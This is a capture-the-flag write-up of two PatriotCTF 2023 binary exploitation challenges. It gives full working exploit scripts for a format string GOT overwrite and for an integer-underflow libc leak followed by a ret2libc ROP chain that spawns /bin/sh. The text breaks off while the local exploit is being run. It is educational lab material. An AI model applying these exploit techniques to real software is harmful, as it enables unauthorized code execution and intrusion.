Post

PatriotCTF 2023

pwn/printshop

The Challenge

1
2
3
That print shop down the road is useless, can you make it do something interesting?

Attachment : printshop

The Solution

The name “print” shop suggests that it might have something do to with the printf function. Maybe a format string vulnerability?

When we download the binary and run it locally:

1
2
3
4
5
6
7
8
9
$ ./printshop

Welcome to the Print Shop!

What would you like to print? >> gimme the flag

Thank you for your buisness!

gimme the flag

we see that its just printing whatever we give as input.

If we load the binary in gdb and disassemble the main method we get the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gdb-peda$ disassemble main 
Dump of assembler code for function main:
   0x0000000000401344 <+0>:    endbr64
   0x0000000000401348 <+4>:    push   rbp
   0x0000000000401349 <+5>:    mov    rbp,rsp
   0x000000000040134c <+8>:    sub    rsp,0x70
   0x0000000000401350 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000401359 <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040135d <+25>:    xor    eax,eax
   0x000000000040135f <+27>:    lea    rax,[rip+0xcd9]        # 0x40203f
   0x0000000000401366 <+34>:    mov    rdi,rax
   0x0000000000401369 <+37>:    call   0x4010e0 <puts@plt>
   0x000000000040136e <+42>:    lea    rax,[rip+0xceb]        # 0x402060
   0x0000000000401375 <+49>:    mov    rdi,rax
   0x0000000000401378 <+52>:    mov    eax,0x0
   0x000000000040137d <+57>:    call   0x401110 <printf@plt>
   0x0000000000401382 <+62>:    mov    rdx,QWORD PTR [rip+0x2d07]        # 0x404090 <stdin@GLIBC_2.2.5>
   0x0000000000401389 <+69>:    lea    rax,[rbp-0x70]
   0x000000000040138d <+73>:    mov    esi,0x64
   0x0000000000401392 <+78>:    mov    rdi,rax
   0x0000000000401395 <+81>:    call   0x401130 <fgets@plt>
   0x000000000040139a <+86>:    lea    rax,[rip+0xce7]        # 0x402088
   0x00000000004013a1 <+93>:    mov    rdi,rax
   0x00000000004013a4 <+96>:    call   0x4010e0 <puts@plt>
   0x00000000004013a9 <+101>:    lea    rax,[rbp-0x70]
   0x00000000004013ad <+105>:    mov    rdi,rax
   0x00000000004013b0 <+108>:    mov    eax,0x0
   0x00000000004013b5 <+113>:    call   0x401110 <printf@plt>
   0x00000000004013ba <+118>:    mov    edi,0x0
   0x00000000004013bf <+123>:    call   0x401160 <exit@plt>
End of assembler dump.
gdb-peda$

There are a few interesting things we can observe:

  1. Usage of fgets:

    1
    2
    3
    4
    5
    
       0x0000000000401382 <+62>:    mov    rdx,QWORD PTR [rip+0x2d07]        # 0x404090 <stdin@GLIBC_2.2.5>
       0x0000000000401389 <+69>:    lea    rax,[rbp-0x70]
       0x000000000040138d <+73>:    mov    esi,0x64
       0x0000000000401392 <+78>:    mov    rdi,rax
       0x0000000000401395 <+81>:    call   0x401130 <fgets@plt>
    

    We see that fgets is used to securely store 0x64 (100 in decimal) bytes from stdin to rbp-0x70. This rules out the possibility of a buffer overflow here.

  2. exit instead of return:

    1
    2
    
    0x00000000004013bf <+123>:    call   0x401160 <exit@plt>
    End of assembler dump.
    

    Even if we had a buffer overflow, the main function is exiting instead of returning, which means that we can’t control the instruction pointer in any case.

  3. Unusual way of using printf:

    1
    2
    3
    4
    
       0x00000000004013a9 <+101>:    lea    rax,[rbp-0x70]
       0x00000000004013ad <+105>:    mov    rdi,rax
       0x00000000004013b0 <+108>:    mov    eax,0x0
       0x00000000004013b5 <+113>:    call   0x401110 <printf@plt>
    

    This translates to printf(buffer); instead of printf("%s", buffer); which is the well known format string vulnerability.

    In fact the man page of printf itself explicitly warns against using code like this:

    Code such as printf(foo); often indicates a bug, since foo may contain a % character. If foo comes from untrusted user input, it may contain %n, causing the printf() call to write to memory and creating a security hole.

Just to be sure let’s test it by adding a few format specifiers in our input:

1
2
3
4
5
6
7
8
9
$ ./printshop

Welcome to the Print Shop!

What would you like to print? >> %x %x %x 

Thank you for your buisness!

8643b643 0 86300aa4

Yes it leaking values, which confirms that it is a simple case of format string vulnerability.

Since there is a call to exit after our vulnerable printf we can use this vulnerability to overwrite the GOT entry for exit with some other memory address.

But where exactly to jump to? Initially I was thinking about ROP chaining but that’s a bit too much for an “EASY” challenge. Then I looked at a few other functions in the binary:

1
2
3
4
5
6
7
8
9
10
$ nm printshop
000000000040038c r __abi_tag
0000000000404078 B __bss_start
00000000004040a8 b completed.0
...
00000000004040a0 B stderr@GLIBC_2.2.5
0000000000404090 B stdin@GLIBC_2.2.5
0000000000404080 B stdout@GLIBC_2.2.5
0000000000404078 D __TMC_END__
000000000040129d T win

win() seems interesting. We don’t need to see its disassembly, its obvious from the name that this is the function we need to jump to.

Let’s throw a bunch of %p characters and see what values we are leaking:

1
2
3
4
5
6
7
8
$ python -c 'print("%p " * 20)' | ./printshop

Welcome to the Print Shop!

What would you like to print? >> 
Thank you for your buisness!

0x7fd9c803b643 (nil) 0x7fd9c7f00aa4 0x1 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa20702520 (nil) (nil) (nil) 0x7fd9c826c730 (nil) 0xa4bd4f226a5b5000 0x1

We see an interesting pattern of repeating hex value: 0x70 0x25 0x20. They are nothing but ‘p’, ‘%’, ‘ ‘.

Basically we start leaking our own input from the 6th argument. At this point we have 2 choice:

  1. Manually craft the payload

  2. Use pwntools

Manual way

During the challenge I used the manual way of exploiting it.

Here is the exploit.py script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sys
import struct

EXIT_GOT = 0x404060
WIN = 0x40129d


payload  = b''
payload += '%{}p'.format(str(WIN)).encode()
payload += b'%17$n'
payload += b'-' * ( 99 - len(payload) - 8 - 3 )
payload += struct.pack("Q", EXIT_GOT)
payload += b'\n'

sys.stdout.buffer.write(payload)

Run it against their server and wait for a little over 4 million characters to be printed until we get our flag

I know there are more efficient ways than printing 4 million characters, but what matters is it works.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python exploit.py | nc chal.pctf.competitivecyber.club 7997
Welcome to the Print Shop!

What would you like to print? >> 
Thank you for your buisness!




...


                                                       0x7f3fed23b643--------------------------------------------------------------------------`@@PCTF{b4by_f0rm4t_wr1t3_6344792}

I’m not going to explain how I got to this solution because I myself would not recommend it. Instead use the pwntools method

If you are still interested in this solution, checkout this video

pwntools

During the challenge I didn’t know about this method, but I’m sharing it now because it is far better.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = process('./printshop')
exe = ELF('./printshop')
context.binary = exe


p.sendline(fmtstr_payload(
    6,                          # Our input starts leaking from 6th argument
    {
        exe.got.exit :          # Where to write
        exe.symbols.win         # What to write
    }
))

print(p.clean())

p.close()

Run it (and optionally filter for the flag):

1
2
$ python exploit.py | grep -oE "PCTF{.*?}"
PCTF{b4by_f0rm4t_wr1t3_6344792}

FLAG

PCTF{b4by_f0rm4t_wr1t3_6344792}

pwn/bookshelf

The Challenge

1
2
3
Just finished up my project based around books! Hope you enjoy reading...

Attachment : bookshelf

The Solution

Hmm…nothing interesting, even the name bookshelf doesn’t give any clue unlike the printshop challenge. I guess we need to manually find out the vulnerability this time.

Let’s download the binary and run it.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./bookshelf
Welcome to the Book Shelf...         _______ 
                                    /      /,
BookShelf Management System        /      // 
Version 1.0                       /______//  
                                 (______(/   
Grab yourself a coffee and enjoy some books!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >>

Apparently we can write, buy, or write (special) book.

3rd option seems interesting, let’s try that

1
2
3
4
5
6
7
8
9
10
>> 3

Unauthorized access: admins only!


1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> 

Ok that doesn’t work. Let’s try option 2

1
2
3
4
5
6
7
8
9
10
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >>

The Address of puts() - $9999999

That seems interesting, but we can’t read it since we only have $500

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 3
You don't have enough cash!

Thanks for you're buisness, would you like to leave a tip? (y/N) >> n

Oh... ok

And obviously we don’t want to leave a tip, that would further reduce our cash.

Do we have anything interesting in the other two books?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 1
A restless hacker named Holden Codefield discovered ROP and became obsessed with its power. He saw himself as a catcher in the ROP, navigating through memory addresses to seize control. His place in the world soon to reveal. The End.

Thanks for you're buisness, would you like to leave a tip? (y/N) >> n

Oh... ok

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $200|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
You don't have enough cash!

Thanks for you're buisness, would you like to leave a tip? (y/N) >> n

Oh... ok

For viewing book 2 I guess we need to re run the program so that our cash is reset at $500.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
In the midst of the Roaring Twenties, extravagant parties corrupted Jay Gatsby's memory. Even with corrupted memory, Gatsby sought to change his past, but realized he'd never be able to find an exploit that rewrites the shattered dreams of lost love. The End.

Thanks for you're buisness, would you like to leave a tip? (y/N) >> N

Oh... ok

Here’s the two books:

A restless hacker named Holden Codefield discovered ROP and became obsessed with its power. He saw himself as a catcher in the ROP, navigating through memory addresses to seize control. His place in the world soon to reveal. The End.

In the midst of the Roaring Twenties, extravagant parties corrupted Jay Gatsby’s memory. Even with corrupted memory, Gatsby sought to change his past, but realized he’d never be able to find an exploit that rewrites the shattered dreams of lost love. The End.

Clearly they want us to do a ROP attack. Most probably ret2libc, since a lib.so.6 file has been attached with the program.

But for ret2libc first we need to have control over RIP right? As of now we haven’t found any buffer overflow.

Let’s check the first option

1
2
3
>> 1
Always great to see aspiring authors!
Is this book an audiobook? (y/N) >> 

audiobook?

Let’s ignore this for now.

1
2
Is this book an audiobook? (y/N) >> N
Please write your book (40 chars max) >> 

40 chars max……………..

I immediately spammed A * 100 at it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Please write your book (40 chars max) >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Book saved!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> Invalid option!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> Invalid option!


1) Write a book
2) Buy a book

...

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> Invalid option!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> 

Uh oh! That’s not what we want.

Let’s try writing an audiobook instead.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
>> 1
Always great to see aspiring authors!
Is this book an audiobook? (y/N) >> y
Please write your book (40 chars max) >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Book saved!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
 >> Invalid option!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
 >> Invalid option!

1) Write a book

...

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
 >> Invalid option!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
 >> 

Oh interesting. You notice the difference?

Earlier there was (0) infront of option 3, whereas now it is (65). Clearly some ‘A’ got overwritten there.

Nice. Let’s try writing the special book again to see if it works

1
2
3
4
>> 3

You're an admin so I trust that you will be responsible with writing this very special book...
 >>

Yay! That worked, let’s try a buffer overflow here as well with the same A * 100 payload

1
2
3
4
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Book saved!
zsh: segmentation fault (core dumped)  ./bookshelf
$ 

Phew! Finally a seg fault. This is again a good sign.

Let’s open the program in gdb and find the offset for RIP.

I will use cyclic to generate the pattern

1
2
3
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
$ gdb bookshelf -q
Reading symbols from bookshelf...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in bookshelf)
gdb-peda$ b * adminBook +114
Breakpoint 1 at 0x401634
gdb-peda$ r
Starting program: /home/vulnx/CTFs/Patriot/bookshelf/bookshelf 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Welcome to the Book Shelf...         _______ 
                                    /      /,
BookShelf Management System        /      // 
Version 1.0                       /______//  
                                 (______(/   
Grab yourself a coffee and enjoy some books!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> 1
Always great to see aspiring authors!
Is this book an audiobook? (y/N) >> y
Please write your book (40 chars max) >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Book saved!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
 >> Invalid option!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
 >> Invalid option!

...

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
 >> 3

You're an admin so I trust that you will be responsible with writing this very special book...
 >> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa


[----------------------------------registers-----------------------------------]
RAX: 0xc ('\x0c')
RBX: 0x7fffffffe6f8 --> 0x7fffffffea0b ("/home/vulnx/CTFs/Patriot/bookshelf/bookshelf")
RCX: 0x7ffff7d00aa4 (<write+20>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x4052a0 ("Book saved!\nmin so I trust that you will be responsible with writing this very special book...\n")
RDI: 0x7ffff7e3c710 --> 0x0 
RBP: 0x6161616e6161616d ('maaanaaa')
RSP: 0x7fffffffe5a8 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa\n")
RIP: 0x401634 (<adminBook+114>:    ret)
R8 : 0x405715 --> 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffe708 --> 0x7fffffffea38 ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x403df8 --> 0x4011b0 (<__do_global_dtors_aux>:    endbr64)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40162d <adminBook+107>:    call   0x401090 <puts@plt>
   0x401632 <adminBook+112>:    nop
   0x401633 <adminBook+113>:    leave
=> 0x401634 <adminBook+114>:    ret
   0x401635 <main>:    endbr64
   0x401639 <main+4>:    push   rbp
   0x40163a <main+5>:    mov    rbp,rsp
   0x40163d <main+8>:    sub    rsp,0x30
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe5a8 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa\n")
0008| 0x7fffffffe5b0 ("qaaaraaasaaataaauaaavaaawaaaxaaayaaa\n")
0016| 0x7fffffffe5b8 ("saaataaauaaavaaawaaaxaaayaaa\n")
0024| 0x7fffffffe5c0 ("uaaavaaawaaaxaaayaaa\n")
0032| 0x7fffffffe5c8 ("waaaxaaayaaa\n")
0040| 0x7fffffffe5d0 --> 0x6169000a61616179 ('yaaa\n')
0048| 0x7fffffffe5d8 --> 0x61336a6161 ('aaj3a')
0056| 0x7fffffffe5e0 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000401634 in adminBook ()
gdb-peda$

RBP: 0x6161616e6161616d (‘maaanaaa’)

1
2
3
$ cyclic -l maaanaaa
48
$ 

Ok, so the offset for RBP is 48, hence the offset for RIP must be 48 + 8 = 56.

Let’s attempt a buffer overflow and redirect code execution to 0x0a4242424242:

1
2
3
>>> 'A' * 56 + 'B' * 5
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB'
>>> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[----------------------------------registers-----------------------------------]
RAX: 0xc ('\x0c')
RBX: 0x7fffffffe6f8 --> 0x7fffffffea0b ("/home/vulnx/CTFs/Patriot/bookshelf/bookshelf")
RCX: 0x7ffff7d00aa4 (<write+20>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x4052a0 ("Book saved!\nmin so I trust that you will be responsible with writing this very special book...\n")
RDI: 0x7ffff7e3c710 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe5b0 ("(AB): ", 'A' <repeats 37 times>, "3A")
RIP: 0xa4242424242 ('BBBBB\n')
R8 : 0x4056ee --> 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffe708 --> 0x7fffffffea38 ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x403df8 --> 0x4011b0 (<__do_global_dtors_aux>:    endbr64)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xa4242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe5b0 ("(AB): ", 'A' <repeats 37 times>, "3A")
0008| 0x7fffffffe5b8 ('A' <repeats 35 times>, "3A")
0016| 0x7fffffffe5c0 ('A' <repeats 27 times>, "3A")
0024| 0x7fffffffe5c8 ('A' <repeats 19 times>, "3A")
0032| 0x7fffffffe5d0 ('A' <repeats 11 times>, "3A")
0040| 0x7fffffffe5d8 --> 0x4133414141 ('AAA3A')
0048| 0x7fffffffe5e0 --> 0x1 
0056| 0x7fffffffe5e8 --> 0x7ffff7c23cd0 (mov    edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000a4242424242 in ?? ()
gdb-peda$ 

Great! Code execution redirected.

So what have we concluded till now:

  1. Apparently if we write an audiobook of 100 characters or so, some of our character will be overwritten to the variable which is used as a check in special book writing method, giving us admin access.

  2. Once we get admin access, if we write 56+ bytes to the special book, we trigger a buffer overflow and redirect code execution.

That’s good, but where exactly to redirect to? Let’s see the function list for this binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nm bookshelf
000000000040038c r __abi_tag
00000000004015c2 T adminBook
00000000004011e6 T banner
0000000000404040 B __bss_start
00000000004013a2 T buyBook
000000000040404c B cash
0000000000404048 b completed.0
0000000000404030 D __data_start
0000000000404030 W data_start
0000000000401140 t deregister_tm_clones
0000000000401130 T _dl_relocate_static_pie
00000000004011b0 t __do_global_dtors_aux
0000000000403df8 d __do_global_dtors_aux_fini_array_entry
0000000000404038 D __dso_handle
0000000000403e00 d _DYNAMIC
0000000000404040 D _edata
0000000000404050 B _end
                 U fgets@GLIBC_2.2.5
00000000004016ec T _fini
00000000004011e0 t frame_dummy
0000000000403df0 d __frame_dummy_init_array_entry
0000000000402920 r __FRAME_END__
                 U getchar@GLIBC_2.2.5
0000000000403fe8 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000402764 r __GNU_EH_FRAME_HDR
0000000000401000 T _init
0000000000402000 R _IO_stdin_used
                 U __libc_start_main@GLIBC_2.34
0000000000401635 T main
                 U memset@GLIBC_2.2.5
000000000040124b T menu
                 U printf@GLIBC_2.2.5
                 U puts@GLIBC_2.2.5
0000000000401170 t register_tm_clones
0000000000401100 T _start
0000000000404040 B stdin@GLIBC_2.2.5
                 U strcat@GLIBC_2.2.5
                 U strcpy@GLIBC_2.2.5
0000000000404040 D __TMC_END__
00000000004012b7 T writeBook
$ 

There’s no specific win function. Which is obvious because our program wants us to do a ret2libc attack. The payload will be straight-forward:

1
2
3
pop rdi
address of '/bin/sh'
system()

But we know the address of none of these, because ASLR is enabled on their server, hence the base address, and subsequently all addresses of libc will be randomized.

To overcome this, if we can leak something from libc, we can perhaps use it to calculate the libc base at runtime. Then calculate memory locations of required gadgets and form the final payload.

But the question is how do we leak something from libc? Well the buyBook() function clearly had an option to print the address of puts() [ function from libc ]. The problem is, it requires cash to be at least $99999999, whereas it is hardcoded to be $500 initially.

Furthermore, the cash can only be decreased by buying some book/leaving a tip.

This is where I was scratching my head for a long time, how do I increase a variable when it can only be decreased.

After sometime I thought, “wait a minute, what if the cash is an unsigned integer.”

Unsigned integers are treated differently than signed integers by the computer. If an unsigned number’s value goes below zero, is is automatically wrapped to a very large number ( a little less than it’s highest possible value, depending on how much less it is from zero ).

TLDR … we need to spend as much cash as possible to get it below zero and see if it spikes up.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
In the midst of the Roaring Twenties, extravagant parties corrupted Jay Gatsby's memory. Even with corrupted memory, Gatsby sought to change his past, but realized he'd never be able to find an exploit that rewrites the shattered dreams of lost love. The End.

Thanks for you're buisness, would you like to leave a tip? (y/N) >> y

Yay! Thank you!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $65|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
You don't have enough cash!

Thanks for you're buisness, would you like to leave a tip? (y/N) >> y

Yay! Thank you!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $55|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
You don't have enough cash!

Thanks for you're buisness, would you like to leave a tip? (y/N) >> y

Yay! Thank you!

...

 >> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $5|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
You don't have enough cash!

Thanks for you're buisness, would you like to leave a tip? (y/N) >> y

Yay! Thank you!

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $4294967291|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 3
In the realm of bits and bytes, the audacious CTF player searched and searched, seeking something useful for their intellectual shenanigans. At long last, they had finally found it. For in the distance, in all it's glory 0x7f0a37875bf0 rested in slumber, it's image telling a story. The End.

Thanks for you're buisness, would you like to leave a tip? (y/N) >> N

Oh... ok

1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
 >> 

Look what we found….0x7f0a37875bf0 our libc leaked value!!!

Local exploit

Let’s write a script to automate the leaking process

IterationActionCash
0Initial$500
1Buy $425 book
Leave tip
$65
2Attempt to buy book
Leave tip
$55
3Attempt to buy book
Leave tip
$45
4Attempt to buy book
Leave tip
$35
5Attempt to buy book
Leave tip
$25
6Attempt to buy book
Leave tip
$15
7Attempt to buy book
Leave tip
$5
8Attempt to buy book
Leave tip
$4294967291
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process('./bookshelf')

# LEAK PUTS
log.info('Leaking puts')
for _ in range(8):
    p.sendline(b'2')    # Go to bookshop
    p.sendline(b'2')    # Buy/Attempt to buy a book
    p.sendline(b'y')    # Leave tip

p.sendline(b'2')    # Go to bookshop
p.sendline(b'3')    # Read value of puts()
p.sendline(b'N')    # No need to leave any more tip

leak = p.clean()    # Read everything till now
leak = b''.join(word for word in leak.split(b' ') if word.startswith(b'0x'))    # Filter the text for the memory address

puts = int(leak, 16)
log.success('Puts found @ ' + hex(puts))

p.close()

Let’s test it:

1
2
3
4
5
6
$ python exploit.py
[+] Starting local process './bookshelf': pid 421509
[*] Leaking puts
[+] Puts found @ 0x7f81e2275bf0
[*] Stopped process './bookshelf' (pid 421509)
$ 

It’s working, great!

For now, since we are developing a local exploit, let’s use our system’s libc file for reference and calculate the libc base address at runtime.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

p = process('./bookshelf')

libc = ELF('/usr/lib/libc.so.6')

# LEAK PUTS
log.info('Leaking puts...')
for _ in range(8):
    p.sendline(b'2')    # Go to bookshop
    p.sendline(b'2')    # Buy/Attempt to buy a book
    p.sendline(b'y')    # Leave tip

p.sendline(b'2')    # Go to bookshop
p.sendline(b'3')    # Read value of puts()
p.sendline(b'N')    # No need to leave any more tip

leak = p.clean()    # Read everything till now
leak = b''.join(word for word in leak.split(b' ') if word.startswith(b'0x'))    # Filter the text for the memory address

puts = int(leak, 16)
log.success('Puts found @ ' + hex(puts))

libc_base = puts - libc.symbols['puts']
log.success('libc base @ ' + hex(libc_base))

p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python exploit.py
[+] Starting local process './bookshelf': pid 730033
[*] '/usr/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaking puts...
[+] Puts found @ 0x7f23aee75bf0
[+] libc base @ 0x7f23aee00000
[*] Stopped process './bookshelf' (pid 730033)
$ 

Good, let’s also automate the process to get admin rights.

1
2
3
4
5
6
7
8
9
...


# GET ADMIN ACCESS
p.sendline(b'1')            # Write a book
p.sendline(b'y')            # Write an audiobook
p.sendline(b'A' * 100)      # Overwrite the admin access check variable.

p.close()

Now let’s craft the final payload to admin write buffer overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...


# OVERFLOW ADMIN WRITE
log.info('Sending payload...')

p.sendline(b'3')     # Write an admin book

## Prepare the payload
offset = 56
rop = ROP(libc)

payload  = b''
payload += b'A' * offset
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh')) )
payload += p64( libc_base + libc.symbols['system'] )
# Since we are good programmers, let's also add a clean exit after buffer overflow :P
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( 0 )
payload += p64( libc_base + libc.symbols['exit'] )

p.sendline(payload)

log.success('Sent')
p.clean()

p.interactive()

Let’s test it…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python exploit.py
[+] Starting local process './bookshelf': pid 1811608
[*] '/usr/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaking puts...
